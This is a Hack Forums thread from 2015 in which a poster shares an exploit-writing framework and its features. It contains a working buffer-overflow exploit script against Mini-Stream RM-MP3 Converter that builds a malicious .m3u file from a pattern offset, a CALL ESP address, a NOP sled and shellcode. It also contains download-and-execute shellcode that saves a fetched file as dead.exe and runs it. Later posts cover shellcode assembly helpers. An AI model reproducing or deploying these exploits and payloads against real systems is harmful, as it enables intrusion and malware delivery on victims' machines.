

Forum:[Hack Forums](#)

Thread: [Windows Exploit creation framework](#)

Wozniak - June 29, 2015, 1:08 pm

WECF is still a Work-In-Progress, but with the help of this module, you can be on your way to writing simple exploits with less code.

Current Features:Pattern Creation (for buffer overflows)

Find offset of pattern

Nop Sled creation

Shellcodes (just a few so you can test)

- So far I only have supplied 1. (open calculator on windows)

Execute Shellcode (now you can test shellcode beforehand)

Example:

Execute shellcode:

Buffer-Overflow for RM-Mp3 Converter (mini-stream)

Source:

Spoiler ([Click to View](#))

PHP Code

```
<?php
```

```
# Mini-Stream RM-MP3 Converter Buffer-overflow exploit
```

```
# App Version: 3.1.2.1.2010.03.30
```

```
# Script Version: 1.0
```

```
# Created by Wozniak (jackendra)
```

```
# Last modified: 6/29/2015
```

```
import os, sys
```

```
sys.path.append(os.path.abspath(os.path.join('..', 'PyED')))
```

```
import framework
```

```
header = "http://"
```

```
calculator = framework.WinShellcode["Calculator"]
```

```
junk = framework.Pattern(17417).get() # Gets us to EIP
```

```
ESP = "\xF5\x71\x03\x10" # 0x100371F5 (CALL ESP); Jumps to our shellcode
```

```
NopSled = framework.Nop(20)
```

```
payload = framework.List([header, junk,ESP,NopSled,calculator])
```

```
f = open("bad.m3u", "w+")
f.write(payload.compile())
f.close()
```

Note: In the image above I just wanted to show-case all current features. if you simple wanted to get to EIP from some junk string, it'd be simpler to just do:

```
PHP Code
<?php
junk = "A"*17417
Same for the nopsled
```

Wozniak - July 2, 2015, 1:35 pm

Update:

Shellcode -> Added Download & Execute (WinExec) from url

```
PHP Code
<?php
# Don't forget to convert to hex. (Format like -> \xfe\x25\
download = "link_here/file.txt" # Any link to file here; saved as dead.exe
run = framework.Shellcode(framework.WinExec + download) # DL & WinExec + DownloadUrl
run.execute() # Execute Shellcode
```

Introvert - July 2, 2015, 2:25 pm

From the feature list this looks kinda barebones at the moment, but I can see some potential in this. I'm excited to see how far you take this.

Is there any chance you are going to share the source for the framework?

Wozniak - July 2, 2015, 2:34 pm

(Jul 2, 2015 02:25 PM)Introvert Wrote: [\[CITE\]](#) From the feature list this looks kinda barebones at the moment, but I can see some potential in this. I'm excited to see how far you take this.

Is there any chance you are going to share the source for the framework?

Edit: Yes, I will end up releasing the entire framework & source.

Really it's quite small right now

I am glad someone posted something. :P

But to answer you, yes, its pretty bare right now, but I work on it everyday all day.

SIM-1866423 - July 2, 2015, 3:47 pm

I want see the codes ?

Wozniak - July 2, 2015, 4:04 pm

(Jul 2, 2015 03:47 PM)b3mb4m Wrote: [\[CITE\]](#) I want see the codes ?

Alright, the only two people (sadly :) who posted asked about the source.

So here : <https://hackforums.net/showthread.php?tid=4891037>

o0MRX0o - July 3, 2015, 6:05 am

(Jul 2, 2015 04:04 PM)_Wozniak_ Wrote: [\[CITE\]](#) Alright, the only two people (sadly :) who posted asked about the source.

So here : <https://hackforums.net/showthread.php?tid=4891037>

keep up the good work mate. don't bother about followers. they will come indeed.

xorl - July 3, 2015, 7:01 pm

You might be interested in having a looking at an awesome framework called pwntools.readthedocs.org/en/2.2/. It's more focused *nix though.

Young Jay - July 4, 2015, 2:26 am

The right people will come one day. Don't you worry.

_Wozniak - July 4, 2015, 9:18 am

(Jul 3, 2015 07:01 PM)xorl Wrote: [\[CITE\]](#) You might be interested in having a looking at an awesome framework called pwntools.readthedocs.org/en/2.2/. It's more focused *nix though.

Okie, I'll check it out to; see what it has.

(Jul 4, 2015 02:26 AM)Remarkable™ Wrote: [\[CITE\]](#) The right people will come one day. Don't you worry.

Well, I'll be waiting.

I'll look at pwntools and see if theres anything I can add. I haven't done an update for the last 2 days or so.

I added a shellcode disassembler function.

Of course I cheated by using ndisasm from nasm. But I didnt really (at the moment) feel like writing out each possible opcode/instruction.

Examples:

PHP Code

<?php

src = assembly of shellcoe

src =framework.Disasm(WShellcode["Cmd"], 32)

/*

src looks like:

000000 FC cld

0000001 33D2 xor edx,edx

0000003 B230 mov dl,0x30

0000005 64FF32 push dword [fs:edx]

0000008 5A pop edx

...

*/

"Assembles" the assembly into shellcode that you can hopefully use. (This doesnt take care of any badchars if they happen to be there)

it actually just grabs the second column from the above output

sc = framework.Asm(src)

/*

sc looks like:

"\xfc"

"\x33\xd2"

"\xb2\x30"

"\x64\xff\x32"

"\x5a"

...

*/

Or use nasm and assemble it:

PHP Code

<?php

```
asm = framework.Nasm("mov eax,5;call eax") # multiple instructions separated by a ;
>> "\xb8\x05\x00\x00\x00\xff\xd0"
# There are null bytes in there; I wonder how msf gets rid of those, I might try to do that later too
framework.Disasm(asm, 32)
>> 000000 B805000000    mov eax,0x5
>> 0000005 FFD0        call eax
```